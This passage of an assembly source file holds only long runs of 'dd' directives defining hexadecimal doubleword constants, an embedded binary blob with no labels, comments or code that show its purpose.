4C5118CDh, 0FE2346A7h, 9EB299D8h, 6E730500h, 0DBBA756Dh dd 0FCC0E4Eh, 0A08029A8h, 5FF2D209h, 0C0D5EF01h, 860D5BD1h dd 58A060h, 0C7544C69h, 5F2165CCh, 8813DAEEh, 0C00D4C9h dd 0FC07F83Ah, 0AE260B61h, 0DD80A431h, 1B1D6AEBh, 2E0A5504h dd 0C7C0BEE2h, 98A72729h, 0F8088898h, 0C38000ECh, 9F474AD2h dd 0C1002C91h, 83D0E8A1h, 1A09F9h, 0B0824426h, 55ADCE6Bh dd 0CCF8F000h, 5BCF0B46h, 0F3920105h, 646B2E81h, 8A218779h dd 9400CECh, 0A2BED01h, 0DC03D110h, 96F90792h, 8307CF0Bh dd 4080870Dh, 136B2B40h, 98821000h, 0F201ED26h, 0DEE4F0h dd 3452F839h, 9562478Dh, 0D856EA00h, 0AC6A9CBh, 0A036631Ah dd 0F9C00142h, 9A008F49h, 702F40Dh, 0C1E9AA99h, 0F760AB89h dd 78A08050h, 5B20894Ch, 0AE9E7F0Ch, 0FED42360h, 0EA7BE380h dd 4504826h, 47E1E4CDh, 642A803Dh, 0BE0122F0h, 8DE91165h dd 9DD461D5h, 0C17A0081h, 0B2705DA7h, 0B778F6B5h, 92E19E00h dd 0B1C25173h, 102500F4h, 0F2D5C458h, 0A4004654h, 88C6965Ch dd 351DABDh, 324AC93Fh, 8AF0AE1Ah, 3B00F894h, 35234D8Eh dd 2B5FBDh, 79FF7C69h, 0BA2C907Dh, 0CE7B2500h, 30D3E9F0h dd 0A9BE015Bh, 1B11281Ch, 0C84CCC7Fh, 65B7B100h, 7C26F233h dd 8AAB0097h, 2F02C4BFh, 87F2103Dh, 0DE11A905h, 9C40F5EDh dd 0EBD390F7h, 0A0681F39h, 2F5AC782h, 7BAD02EEh, 0F74298A0h dd 1300434Bh, 0C8DCB987h, 238C39h, 66E7F8F2h, 362FA0EFh dd 70910C3h, 7924D06Ah, 1D95007Bh, 152B3C3Ah, 63249318h dd 200104F0h, 1034EB7Ah, 0B2BCE0h, 81A0389h, 0E9535E0Eh dd 32D83F00h, 7892397Eh, 1E806C5h, 90FF4957h, 8B7F1407h dd 67404B70h, 0A6D1CAh dd 571D8E5Ah, 41F204F6h, 47962007h, 81733CFh, 4E14DF10h dd 73E80589h, 86DB13B8h, 650C514Eh, 0C03CF7D6h, 44420B8Ah dd 85808956h, 7DFBD54Bh, 24043598h, 229C0517h, 69A18490h dd 0AF1E0EEEh, 9807DE6Dh, 38EBE0ABh, 1501BA3Ah, 0F8A4653Ch dd 0E0CF5501h, 1EEDBBECh, 0C0C90FD2h, 2D685BEAh, 570045FCh dd 58BAEBDAh, 0F877244h, 0DE2492DFh, 2B70DC00h, 36003FF2h dd 74FD987Ch, 0E5ACD0h, 5E9E7A53h, 0DCC066F9h, 751FD616h dd 74EFA706h, 1CC80028h, 4B907AB4h, 82B86395h, 4107B500h dd 0CECBE426h, 0EF9E17A9h, 80B01E3Dh, 5E5721F6h, 89010451h dd 0B23BD54h, 0E28E5C6Ah, 55A0CBF1h, 3D03333Ah, 0B200B370h dd 7B9284Ch, 22A745h, 94A3854Ah, 698F3C71h, 0B2BF5A00h dd 0FC62DC77h, 197D1C93h, 22007A83h, 0B1D2F655h, 65006842h dd 0A4801209h, 0E48E225h, 21D9D4F8h, 74A0A66Fh, 81670471h dd 23AD5F0Eh, 970A806Ch, 7C622BC8h, 41980AD7h, 0A0DDFBh dd 11DEBD27h, 0DC074973h, 0AFF81A6Bh, 82838FB0h, 81E100F3h dd 0CD7080C8h, 0A001758Bh, 15A73921h, 87F483C0h, 23FE5C7Ah dd 0FB9FCB00h, 978FAB60h, 0ED56D900h, 3BCFEB33h, 8E7407F1h dd 0EF1D2F34h, 6CC6F820h, 0E700F99Dh, 92A87142h, 3C20B26Dh dd 7480D53Ah, 65C5157Ah, 4F00A196h, 5B11F1D1h, 38058AA6h dd 970081BBh, 0B71814E2h, 3D00EA3Eh, 6869DF09h, 1FDA58B9h dd 3DB0415Bh, 190071B8h, 89504E5h, 0AF0F59CBh, 0E033F54Fh dd 0C736D764h, 96443EF3h, 25A35A00h, 70182A59h, 8D99AB03h dd 0B81AE91Ch, 0F383B6h, 4FCEE48Bh, 6C85394Ch, 1F87B70Bh dd 4453016Fh, 0E0806E71h, 0BF21E9EFh, 0C8E46A8Ch, 59E55E26h dd 2039900Eh, 0AB6F4241h, 508A00A1h, 0CADFC18Ch, 28003F65h dd 0A7EE4035h, 3D6376h, 11CB871Eh, 0F5A34960h, 569CD000h dd 9769224Bh, 0E3C83843h, 55ECA181h, 605A1674h, 0B776B5A7h dd 0AB511300h, 22588778h, 94E90044h, 485EB434h, 9C1307C3h dd 25002C43h, 0B31C81B5h, 0EB83004Bh, 975C1ED3h, 0D700E663h dd 16C96C94h, 7B64F2h, 0CD55AA1h, 709BB101h, 0DE93F300h dd 52467AA2h, 0C74E1CD6h, 927E4010h, 0F5C86630h, 8A289E62h dd 80E0F54Dh, 2D055F51h, 0F7FF13F4h, 0D5C0DB84h, 8E868Dh dd 0BB30A170h, 0EE74784h, 80240C38h, 0E42AB918h, 3935B0Ah dd 0A75C9EAEh, 1180C6B5h, 660209E1h, 0E3ABA8C4h, 3F004061h dd 435F17B1h, 2EA00094h, 377EE006h, 73A6C07h, 0B4C16A33h dd 3CF453A2h, 0C0F8483Bh, 86475F00h, 5177F61Ch, 0DE5B3200h dd 62AA7253h, 28E6F052h, 0B17561h, 0E0333C8Eh, 7EEFDF38h dd 2D0F2E07h, 5E1003BDh, 8EAE9Bh, 892033A9h, 0D6661215h dd 384E0E0Ah, 500C877h, 0C2065016h, 1D2B0090h, 6EDA3289h dd 690049B8h, 29DDED6Ch, 0FB2197Ah, 90F4ECE3h, 93968180h dd 4A006A0Ah, 6D5C6841h, 2ADD480h, 5F0B11E5h, 8C60A424h dd 80A4AB7Ch, 5480CB0Bh, 1F96814Eh, 81C460E4h, 0C9413F56h dd 83D46203h, 79E8322Fh, 0D7038F4Eh, 63F09188h, 2582001Fh dd 29ECE87Ch, 0B100EDBDh, 2F61C11Ah, 78077Eh, 8A0AF4D2h dd 81E86496h, 808ECE3Ah, 0ACA8C949h, 107FEEh, 605ED40Ah dd 0EB014F0h, 5B86B900h, 0C208ADCAh, 0B20100D1h, 0A1DFA06Eh dd 6300C1E7h, 0FABAB9E0h, 0E2A88D8h, 2D20938Eh, 42B33B80h dd 0F9011BB5h, 71396490h, 0D8245E9Bh, 6B5B1DE1h, 681784D8h dd 7956808Ah, 0EC90AE72h, 269D0900h, 5D570DFAh, 0FCE601D4h dd 0F92D04DCh, 3E4BD8EFh, 932B9A09h, 1380FD9Eh, 95E49B2Fh dd 414CB30Fh, 1AF6A088h, 7B881h, 26662069h, 2D3EC234h dd 53E13Ch, 32106BA2h, 0AB1159h, 20E654ADh, 3CBD8624h dd 0AE00B7F6h, 5335308h, 0FBBCB4h, 0F754C6C2h, 0A59B25F5h dd 75583900h, 0D8C4D12Ah, 10970F7Eh, 0B240F4EEh, 34AE898Dh dd 12BFDE0Fh, 222AC395h, 86D191DBh, 1E785DC4h, 0C0B7A4C6h dd 51F8B84Ch, 0F0006FC5h, 9F9C8E48h, 388C44E8h, 2E0F7695h dd 79A0411Bh, 8AC5AFFCh, 87AB291Fh, 193CE4C1h, 0AE209285h dd 13AEC67h, 2B96BBB2h, 0F08F9B47h, 0DC00F665h, 282640ACh dd 1E4B8DC8h, 805B4453h, 0F7A4CE08h, 3975EEB4h, 5D28BB7Ch dd 8FECAE79h, 6EC6641Dh, 0D6350980h, 29DEE84h, 8BB8B045h dd 9BC0B191h, 0D4002369h, 16CBBC54h, 2CA09957h, 7F4FFC9h dd 80FE36CCh, 492F1D40h, 338F5912h, 0E25E8D03h, 0D7C0C0FAh dd 8B8700C5h, 0E93D6F55h, 0F4E9CF69h, 561FBF2Bh, 954015C6h dd 0AA46A377h, 50261CDCh, 4CBD0E38h, 0E7BFEE20h, 521F28F1h dd 0C7C0F3AFh, 7D0890B1h, 777BD6h, 2CECE93Ch, 0A38A7992h dd 952FA21Ch, 0D2AAB2C1h, 0BEF83BF8h, 61BA000Bh, 0B1C2B60Ch dd 190F5F0Fh, 802099F4h, 0E9F1C6D8h, 9BA902D1h, 2A224E16h dd 0D2AD0375h, 0B8E4E0BEh, 0A9D4006Dh, 6C4D87EAh, 3C00751Dh dd 7CCF294Eh, 935944h, 3A89EDDh, 373BC2B9h, 0D3746500h dd 22626BC3h, 7FC9E896h, 0A62100E1h, 0BA413EEh, 39008BF4h dd 8C54A52Ah, 7E7AB798h, 5C55001Bh, 1746D589h, 10056C5h dd 9E5EA733h, 3FCCE5F0h, 0B405BB2Ch, 7E0DB51h, 80A8F108h dd 0D447C993h, 30C073E4h, 1168C5Ah, 606D3C6Ah, 0B80F00F4h dd 2B3EA1C0h, 0C500CBB9h, 0EBF6B238h, 0D22185h, 0D5715155h dd 0F254E1CFh, 4713E0F9h, 1629AE19h, 0ADD88220h, 0C012127Ah dd 52301CDAh, 0A03C0027h, 0B870037Dh, 75005575h, 0C4BA634Fh dd 1ED99904h, 829FBBF7h, 2F266B43h, 0B485888Eh, 0B52006A3h dd 776B88FEh, 0ED0B0390h, 0EC2900CBh, 523C80A1h, 5430BC5Dh dd 98C3EA5Ah, 0EAD700CEh, 0A2F5F23Eh, 4D70BB99h, 0C055731Ch dd 6F98E3Bh, 0C11CE027h, 744EB9Ch, 1018438Dh, 862DD069h dd 4704276Dh, 39CD1E4Ch, 42F750C1h, 0D770F0h, 0ECF5DD85h dd 0ADAFE48h, 632A2017h, 0DB090506h, 9F9800B9h, 624F4012h dd 6C312D55h, 3E64086Dh, 3AF82083h, 529018FEh, 33004CC1h dd 789D9CCh, 7EA4655h, 8CCF9EEEh, 0E90C8383h, 0FD1422B8h dd 98F19301h, 0D06A3FECh, 9581F0h, 0D39FE751h, 0D4B85C3Ch dd 21103E0Ah, 0C680E8ACh, 6A15F150h, 0E48307BDh, 44670BC2h dd 0AF409021h, 0D900EA7Dh, 813A2539h, 6CCEF265h, 0E551C99Fh dd 37015043h, 0A5550EF1h, 88DC0C4Eh, 0A3050FB0h, 905509DFh dd 0B74C881Eh, 0A67D0A4h, 0D5E7E1B4h, 0E45300E0h, 0F3378B03h dd 0CFDA1101h, 2F4C2068h, 80807DF1h, 0D988A416h, 6A003962h dd 21E2D14Fh, 3D0199Eh, 0F6BCB9C2h, 0DABF7287h, 92217430h dd 57E580ADh, 309597BFh, 949B2400h, 1513CECh, 0F84FAD2h dd 0A1AD5AA5h, 0D52008CEh, 31BF13D6h, 0B2E57E00h, 0EC6DA4A0h dd 0B65E00FDh, 98BBD98Ah, 65009DD0h, 7C3EAB9Ah, 3ABA9269h dd 2C003483h, 46B72E4h, 5A00F1A5h, 253A5496h, 0B7AF1Dh dd 0F86E79A7h, 0AD44B63Dh, 72405B16h, 0FD450D00h, 586A8058h dd 5F7FA5E4h, 1EC3F88Bh, 4580C097h, 523FFA7Ch, 9C110E26h dd 0BA208360h, 72CFC982h, 0E90047EEh, 0FE59733Fh, 7D86850h dd 20FA06A6h, 0CF134057h, 0DD005B37h, 0B1A4B093h, 58353DE3h dd 84139C82h, 1AE20C10h, 0E0ED869Eh, 0D500F02Ah, 9C570875h dd 0DA7FB6h, 0DBA6C881h, 7973983Bh, 635C68F8h, 89F00AAh dd 394B6BCh, 99CF1857h, 46138047h, 0FA1008C1h, 2E0083Ch dd 7DF0EF5Eh, 812A3062h dd 8CC6A660h, 0DA6710A0h, 9E09303Eh, 570C10E8h, 4B708F1h dd 1D6AD6C8h, 0B1D9C0F9h, 31F95D9h, 78B321AFh, 0CE43B806h dd 442B34B2h, 0F851C110h, 9CEFCC7Dh, 0A5D8E566h, 506D06B0h dd 28050A61h, 41A3E00h, 0B94873C0h, 0D3130040h, 1099B0F5h dd 3F034C64h, 1F839341h, 9A5DD031h, 0B02D3A74h, 1123910h dd 0FFE39B30h, 1888DC36h, 31B02EB1h, 360CDABh, 79DC311Eh dd 407E751Ah, 0B128A967h, 0B24CC3h, 687DE530h, 84DB9A4Eh dd 0CF3A7A1Fh, 40AA0D80h, 8EF762Bh, 412599B3h, 0AF786180h dd 0E08D4CCh, 1FD5E32Eh, 4BD91023h, 890AD1DBh, 406183ABh dd 78A9E21Bh, 9A8C2440h, 4C50038Fh, 607C0389h, 3AE16A00h dd 0E945BD36h, 77A0CF7h, 7050B9B7h, 9B417260h, 27D4042h dd 68C70997h, 58060AE0h, 539A0C28h, 0E5608371h, 6A904B54h dd 0CAA98A00h, 758981B0h, 0D4720027h, 98A8F8C0h, 6B0650DBh dd 0E9857116h, 0EA98C730h, 0EA12CF48h, 64377C00h, 0B8036Bh dd 9A8F17B9h, 97214110h, 0B1CE6100h, 8532519h, 0B43D505Eh dd 8A370CB9h, 385004A2h, 8068626Fh, 0E2A5D90h, 1F0A010Bh dd 4DADE84Ch, 0FA92D4B9h, 0E598AC50h, 10BAA20h, 9306D310h dd 0F86362A0h, 0B1068C3Dh, 9B4C970Eh, 8FCB0050h, 3992A05Ah dd 0E6003E6Bh, 0CA40E75Bh, 0C0D44F55h, 0BB9F2F49h, 240243D0h dd 25CC6317h, 0BCACA7A4h, 0DB40048h, 0CB23D02Bh, 0F0CD8700h dd 0ADF64238h, 0C9AE6A1Bh, 0C4321524h, 0E8D2AB3Dh, 60E05C55h dd 0EA70B5E9h, 58DAD733h, 50A80315h, 0DC7BAB4Dh, 0CDD4900h dd 30AC243Ah, 974A00BCh, 9CD80E5Fh, 340C4BF5h, 40B21D68h dd 0B9CA00Ch, 68336080h, 0D3C50E5Eh, 3C823F02h, 44259A22h dd 0D1DA0064h, 0AC558837h, 1300FCBAh, 1CC4F921h, 243D18D5h dd 6998FE90h, 2439248Ch, 5425C0C6h, 0D9710011h, 6E9BE5BEh dd 28C7E6A9h, 0B1863F9Ah, 0C3C0020h, 0EB822A7Dh, 10485CDh dd 0E11654Dh, 0A2A96C82h, 80080B7Ch, 127DF638h, 0D15C00A5h dd 1399B453h, 0D90CB634h, 589A84AAh, 0A7A12A6Eh, 0CDC744CCh dd 0AC29B600h, 414D7187h, 0EB490EDEh, 0E3C3074Ch, 84FCD60Ah dd 8C9400A1h, 0C071E8BAh, 30A65331h, 88889DE4h, 23A3192h dd 6036CEE1h, 289849ACh, 9ECB8449h, 49B3E88h, 3B9EC54h dd 0E85517F8h, 0E0021386h, 856D0D35h, 2044437h, 301A9E39h dd 5861814Fh, 0B1CEC99Bh, 802B6078h, 70483C12h, 38C2B3D0h dd 669A8D32h, 723C0C08h, 10F9A8E8h, 3B681712h, 1095423h dd 35781871h, 0C315E0F4h, 0D9E7BF0h, 6CB81726h, 797A84A0h dd 252AA0A4h, 423FDCA2h, 5F2F00A0h, 0B60BC148h, 7A7F0068h dd 36051E41h, 6149F499h, 1BCB00D4h, 0ACDC28E2h, 0CDC61F64h dd 3442962h, 8DC4FB2Fh, 8C1950FFh, 5A185FF2h, 0C529901Bh dd 467D80F5h, 0D58DE800h, 1C5D6CADh, 42C721Dh, 68640124h dd 31B90113h, 8C3482E7h, 0CF500060h, 3E8638EAh, 0B2007F39h dd 235A959Fh, 9E33327h, 9263C010h, 0B3C68002h, 643A1B00h dd 65EC03C3h, 56D5EF08h, 1070D855h, 33C20214h, 1185EE00h dd 43D28617h, 0B63F029Fh, 14975440h, 0E001C889h, 23604AFh dd 2AFC461Bh, 44DC2F5Fh, 474D949Bh, 0BA4A0048h, 50C51EF5h dd 834C1F1Ch, 0A7EEC1ABh, 0FE7D5D8Dh, 0AA7FD0A2h, 334C0012h dd 7E9A066h, 0FAEB81BCh, 0A41119CBh, 71618046h, 35CD40A9h dd 0F62A138Fh, 4E05210h, 808231D4h, 8D433C40h, 0E26D4202h dd 20B2BA4Ch, 0D58C2B6Ah, 0CA602892h, 0E1A9F81h, 3DE70315h dd 0DA580177h, 92FE03F8h, 8C416A04h, 4881BAECh, 2034424Fh dd 328F0060h, 943DC44Dh, 16C047EBh, 0BD9E5FCh, 0E7A714F3h dd 0AE82A47Dh, 50010631h, 32107282h, 5D00E79Dh, 0F830D2ECh dd 0B1405C4Ah, 0A0AD9994h, 24B5F9B9h, 505F560h, 0A82F9F95h dd 5E7DB7C0h, 37A000BAh, 3A3882CCh, 7A00140Bh, 0D2F41119h dd 59F123h, 0B7121AD4h, 78C28327h, 0B0AB571Ch, 0C6285440h dd 73D9D45Fh, 2D38C163h, 0D06C49CAh, 0DE4BD2F3h, 0AF0054BCh dd 0AAA37867h, 3E006497h, 0D2F65217h, 30DB307Ah, 0CD301AADh dd 9800A4AFh, 20072FFEh, 3E26D075h, 0F9010C13h, 96197F36h dd 0DD6980BBh, 5E80C516h, 43700C69h, 0CA78BCBDh, 0CE51D460h dd 1E59973Ah, 62E36EDh, 0D8EC24F2h, 14571A00h, 126BEE99h dd 46EF0013h, 9EB6472Eh, 0FF0E0D17h, 80B24F1Fh, 8B4214D2h dd 595F6E98h, 41CD08F8h, 81E92460h, 0C74F1CFDh, 60F0393Ch dd 330EB30Fh, 0D8D90300h, 61358E62h, 30897EF7h, 0F4385B1Bh dd 1F5428A7h, 3788E3B4h, 0AD7075h, 0DFF825C0h, 9CAE2B70h dd 0BCCCB005h, 0B0302E42h, 3A40EDDDh, 8E00A222h, 0C55770F1h dd 0CD30AE03h, 271350E5h, 7FC714F3h, 0B500C82Fh, 4A7D748h dd 0E9B8F674h, 0C88D170Ch, 60C75061h, 73959125h, 35011AD1h dd 0BDB35212h, 47F41432h, 31980655h, 0B04E0C4Dh, 79FC9512h dd 0EF5E1837h, 0B74B80D3h, 0A2BF70DBh, 2B70209Ch, 0EBD7657h dd 12827F93h, 53A1C6EFh, 8E22748Ah, 0F9D313D8h, 0ACD84EB1h dd 59000A2h, 440CCAE0h, 0A70063BCh, 6166A841h, 343AC7Bh dd 96F41255h, 81DC2D6Bh, 8CF59510h, 78653790h, 4BFA00BFh dd 7B5B4EDAh, 0D50C913Bh, 99F08DA8h, 771BEA14h, 0B3410051h dd 0F60F462Ch, 20C296E2h, 422799D9h, 0BEDC2640h, 317A04A1h dd 800ED378h, 0EE274930h, 0C05451D4h, 0BBFFC12h, 5E471C70h dd 0A2B9C321h, 75FB71B6h, 1F674AB0h, 72422C01h, 383E1290h dd 0D4216425h, 0FC1CC00h, 525005Fh, 9806966Bh, 16F238C2h dd 30A8393Fh, 3B132859h, 9FD403B0h, 0C72BFC80h, 48968012h dd 0A6D25C44h, 63888Ch, 150AE781h, 489CCADAh, 0CD308360h dd 0C3F5B2A6h, 615813E1h, 3F42413Bh, 804B3A55h, 7D94E564h dd 0A03DF74Dh, 15E9CD8Ch, 0B849B9BAh, 44A66A00h, 0E66891A4h dd 432A59E8h, 0F105F06Dh, 4267728Bh, 0AF49DC41h, 38845E32h dd 97D126E4h, 0C44C5E0h, 4B11D2ACh, 80AC8CA9h, 0BF0AE011h dd 96CDE6h, 0A7AF772Ch, 0A84C9A94h, 0D7F4B20Ch, 10C706Bh dd 0F653851Bh, 863CF87Fh, 897DFA89h, 0EF0E28E9h, 65E600FCh dd 0B638767Ch, 0DC02D0C1h, 3CB74448h, 3044BBh, 3ABA8913h dd 708B56BCh, 0DBC507EFh, 28BBD820h, 0DD7600B3h, 8F3D25FAh dd 1003D6C1h, 4BC264D5h, 1C91CC99h, 7042ACD9h, 0E4A4406Fh dd 0F05E49ABh, 8041C715h, 23B4D00h, 7AE52851h, 31087E18h dd 38574118h, 2F6D57Bh, 15746366h, 0E0815504h, 49F62CF4h dd 0F20420E4h, 0DA7C8B15h, 0F80B39B0h, 0D42976EAh, 1E16B475h dd 3BCD0040h, 0E15D6E3Ch, 0B3665834h, 0C028180Ch, 7100F01Ah dd 2B516DB4h, 0A426FDF1h, 0E8E23F5Ch, 22A46F06h, 0E418409Ch dd 0F2E12F75h, 26D62414h, 4F2ABCACh, 20C448CCh, 24D9E050h dd 0A0A4887Dh, 86BD00E4h, 87B89C72h, 52639B48h, 0BCC24990h dd 0EC963C91h, 672D9880h, 1D8A31A6h, 625140D9h, 0C9F879B0h dd 0BCA46C37h, 0C7109554h, 9F9C9654h, 18D0DCF5h, 0D8F2DD00h dd 0AF808F1Ah, 986DE28Dh, 27A5133Eh, 0C9E846BFh, 1890F904h dd 13ECF554h, 8C6CA0A2h, 3D45CE00h, 290566F4h, 0EB510E59h dd 0D2E7E93h, 84384FB3h, 0B1F4C958h, 0C72C2A50h, 2E0C08F1h dd 6664BEh, 0D0A0DFB5h, 0C0981C1Bh, 748D7480h, 22015CB2h dd 68FF4E1Dh, 1EDCD28Fh, 4BC7283Dh, 80FC91A0h, 9532DDC5h dd 9D5F9C64h, 1B003FECh dd 1D243AEAh, 92FC1002h, 0D71298A6h, 0CC49F4C0h, 8B102F0Bh dd 0F6C16CAh, 73786534h, 6000B29h, 0A1D8D639h, 52CDEF1Ah dd 5358B340h, 0B00B858h, 0E7E020BDh, 0B10224EAh, 781182A7h dd 4E286850h, 0ACB60ABEh, 828025A1h, 0D574EF7Ah, 77042464h dd 333740B0h, 0E850F500h, 87249F5Dh, 1CA978E9h, 0A7363B81h dd 0CD038599h, 5F84C8B0h, 574384Dh, 0AD3D242h, 0A9817493h dd 69C03ACAh, 68564CBDh, 0F775F200h, 96DEF8B6h, 4C32AE15h dd 0E1C330B4h, 36D6EB1h, 0F89CFD1Ah, 1815BF8Dh, 3F42DC7h dd 0E1C8064Bh, 6AD297DCh, 8EC3FD8Fh, 72438001h, 7F375CF4h dd 23136C22h, 11A0402Fh, 467467A1h, 3414CA07h, 96A06FFCh dd 0B421630h, 0CF22389h, 79A2D882h, 0EE1C8309h, 694DB0FBh dd 3667057Fh, 52EB26F7h, 751400B0h, 0A3B487BDh, 20D97B04h dd 0C42FC1h, 0A0242C88h, 0E97940h, 0C3E201DAh, 9765D3F6h dd 5801E670h, 6CECFE63h, 0C0206988h, 4C1909E4h, 0F0202B0Ah dd 0AFBAD70Dh, 0B8D19100h, 5ED51F30h, 10387161h, 505FF48Bh dd 8891CE14h, 3192B690h, 8048C774h, 0FA5C3B21h, 4C1C909Fh dd 998E3CDCh, 8C325720h, 54135B92h, 981DECB0h, 7A394258h dd 334C0CB6h, 23E83034h, 8060AD30h, 0E43FCD58h, 802900BEh dd 0A96272DBh, 0AE0D427Fh, 0A8B49D19h, 0E48E4044h, 0CA13007Ch dd 3E5DDA76h, 1547F4Fh, 0AC9B06E4h, 0BC6EB598h, 1DEE79CAh dd 4074CD6Eh, 28EA2A1Dh, 34900FA1h, 3D16AE73h, 281473DEh dd 92C784FCh, 85F63490h, 0EFEE05D7h, 0C930374Ah, 9101CFB0h dd 2C1765FBh, 0A4608ACBh, 62FA00C2h, 0A61F4006h, 0ACA8495Fh dd 9E4CC0D9h, 0ECAF8648h, 0CA10C461h, 85AC9032h, 6604B461h dd 0CE9F47Bh, 0EBDFE402h, 99404C08h, 812E36Fh, 2B467DB7h dd 0A21A6603h, 0CC1EF07Ch, 71976A56h, 6F920F2Ah, 58A1C489h dd 24067049h, 2162E4C0h, 68BAF3D9h, 8CF5CA24h, 2CE0C718h dd 0C41110h, 52A61643h, 0D0D7213Bh, 0A516CD7Bh, 0C04471E5h dd 4224F3Ch, 0A7476920h, 0B3983A05h, 3EAD0B82h, 1088CC60h dd 0ECE01CF8h, 4444C964h, 0F51DE200h, 0E14972FAh, 29836041h dd 0CEDC66C6h, 744BE200h, 0EDE43ED3h, 39D66046h, 72943DB4h dd 0B653E303h, 16D754A6h, 115A9AD9h, 272A9C1Ch, 0EFFA05ECh dd 0D314EAh, 2968314Ch, 4B0B1044h, 226B3266h, 48342394h dd 0D6A8D8h, 62D9757h, 0AF016AF1h, 8F057A09h, 0CAA812F5h dd 0C49086A4h, 8BD92C81h, 6DA05370h, 15724491h, 9C5C750Bh dd 0ECD01074h, 0F6D8A405h, 0F26B40D4h, 1E3A0094h, 534284BEh dd 0A09E097Dh, 41709BFCh, 0ADD20995h, 8110A4Bh, 33F7F8C6h dd 9680F264h, 0D00C8h, 8355794Bh, 66FCFE2Bh, 0B7EA670Ch dd 2AE4E85Bh, 12EC26A7h, 91CF2749h, 7F2ED4h, 72EC55DBh dd 8FFE00B3h, 0BDF43FD1h, 800A6E0h, 0E1708013h, 94516F83h dd 44882020h, 564A62F5h, 0C0220447h, 80D1DD12h, 36C2A3DCh dd 5CF30363h, 1D0BA14Fh, 0C0CCACABh, 2871D928h, 52F481C2h dd 1F2C5BF6h, 0C0682662h, 0CD75264h, 40A11634h, 1B4C8Ch dd 41F1FA1Fh, 0B5655515h, 3C03DD0Fh, 0DBF173B2h, 8842F805h dd 0A0105A49h, 0D962959Ch, 7A61C017h, 7388DD91h, 0F5BC3724h dd 98386509h, 947ED950h, 0C1669220h, 0D2D50BD8h, 1080288Bh dd 283CD613h, 0AE26B8A4h, 0E4896CFCh, 4C8C1342h, 0B30E6830h dd 0F222907Eh, 0A04AB4E3h, 0A7F43021h, 7430A634h, 0AF4B54C0h dd 8B900C4h, 14469AD6h, 0E201D1C2h, 70B171CDh, 418A2467h dd 1670152Ch, 0AFF42068h, 773B375Ah, 0D58D92F1h, 574E0840h dd 0BAE2B4h, 0C51B58ABh, 2EBF0FCBh, 385AFB2Eh, 95C6A240h dd 0B16090B4h, 1D4C2680h, 7135226Bh, 9CC06997h, 1AD7B6CDh dd 0E1F5B715h, 4CF4F80Fh, 0D723B90Fh, 0AF25F142h, 0D0967469h dd 7D053BBAh, 6D55C649h, 443A681Dh, 0FBAE0BEFh, 6494D987h dd 0DA5D3A02h, 907E6D9Bh, 0B8ED090Ch, 0D06329EDh, 4AF4A8D8h dd 96C022BAh, 6453F490h, 0AF444602h, 642C5D26h, 4ACA3008h dd 0CCC9A689h, 2C35A448h, 7C001AB0h, 0F9B90B6Dh, 80C1548Dh dd 549C41h, 0D68BCEF3h, 4B850BFh, 9237E909h, 4124C828h dd 9829C05Dh, 75F89DEEh, 4F566600h, 0CEE3ED61h, 343F43Bh dd 248B0160h, 0C680A88Dh, 39C033DCh, 1508FDF2h, 8818B194h dd 961278F8h, 9BC0D427h, 7B29499h, 1419E8EDh, 5B7BA102h dd 3C3AE401h, 0B49DC729h, 3B00FF39h, 719A57FBh, 9C791E5Ch dd 2054AEFCh, 923C9BE8h, 0E49CC8BAh, 10982324h, 0C71059BEh dd 0F5B09308h, 0A126FDAFh, 9C510B10h, 0E225DCh, 6BAFE2B9h dd 9231440Eh, 9FE507A0h, 20AB7F11h, 2906C4CCh, 0A84C85Eh dd 0C26FACh, 3494C798h, 24250B82h, 9048A611h, 0DBE3881h dd 0AA162900h, 63FD31D3h, 0CF60C8D0h, 4C59BA75h, 125CB120h dd 3CC0C14Ah, 2E4DEC48h, 0C2BDE109h, 75ECC85Ch, 41ACB149h dd 70ACA3C1h, 5426FE41h, 3F16476Ah, 67CAAC90h, 0FB4138B2h dd 3EE9D607h, 20B503ADh, 7DD9BDB0h, 0C0244C99h, 3F005A11h dd 5C044BFFh, 20E5221Fh, 55C9D00h, 4BB218h, 0D25438FAh dd 42B45C03h, 18B02A97h, 111C6F08h, 0EF002BC7h, 0CE85D90Bh dd 75E83A69h, 1959002Eh, 3D6EF203h, 3C1D2A98h, 5700959Ch dd 50BB4971h, 91B300DDh, 4A9754ADh, 0D800F7F0h, 0DC5C06E9h dd 5061D728h, 302938B3h, 57487562h, 0FF0FFCF4h, 0B25B7Eh dd 1C6D8FBEh, 0F7540E68h, 9A2E2B78h, 0A7500B00h, 633767C5h dd 0C0F0216Bh, 303B358h, 94E13A22h, 38008E4Ah, 0C387F564h dd 83B8F0h, 0CCBC44Eh, 16ACD0DBh, 1BBE88C3h, 885040C7h dd 8B146D3h, 33A6029h, 1B946357h, 0DCFE7000h, 3096BC59h dd 346E0947h, 897F9A87h, 17868712h, 0A8482EE5h, 0A59180BEh dd 9E0A5A08h, 0CD8F4100h, 0D01DA1C1h, 0E1F4589Ah, 0CB578061h dd 9BF70053h, 701A6F47h, 1FA0F11Dh, 0B9944049h, 156FB1DBh dd 480CA0C0h, 10D46608h, 0CBAA4EDh, 0B9FE5713h, 0D9D71EF7h dd 2C734036h, 0BBCDF23Dh, 3A618376h, 0D7EAFD60h, 2E32698Ch dd 6F183F50h, 20799A93h, 208D60DEh, 68DF9675h, 237AFC0Ah dd 0D2858821h, 9C62ABA9h, 0CCC0A032h, 0AEC8C5Ch, 0E6E5034Ch dd 506420CCh, 2ABEFC50h, 15C0E7B9h, 80C7A1F7h, 39757A00h dd 3F07D9CFh, 0ED9AB62h, 201C4446h, 1F3095C1h, 2FFD08A1h dd 2048D88Eh, 9865039Bh, 0A4233919h, 2080180Eh, 3C4E11CCh dd 18A99900h, 486681C8h, 0ACF001D5h, 17D264ABh, 8D5530E3h dd 31FEB4A8h, 48A2E24h, 81C07347h, 9861DF19h, 5E2800F9h dd 7F4C90D9h, 0E401CA23h, 0F6D834FEh, 7C24EF49h, 0B9A8603Ch dd 0DC255A8Eh, 2900B9EAh, 0B16D7291h, 1101893h, 895F3D37h dd 22C963A6h, 0F9850150h, 0CB6CC2F0h, 0F4D3BC53h, 33211854h dd 0AF39AA02h, 7C944992h, 4C884813h, 30023ED3h, 0BF3F0E4Fh dd 3DD44488h, 0EF37D487h, 9BFF8050h, 5C1BAEA8h, 0E081FC9Ch dd 293DA104h, 87E48528h, 4A2932FDh, 0CC6094BCh, 4F98CC8Ch dd 0BC4252h, 513C44F7h, 0D4CB78C0h, 0CC55469h, 0ACF8025h dd 5900A8ADh, 11F65E4Dh, 903BD88Bh, 50FE074Ch, 0A6BC20F0h dd 6D0C41D4h, 0A1C60FB2h, 9C4000B3h, 7F9A9B96h, 1B1BCBF4h dd 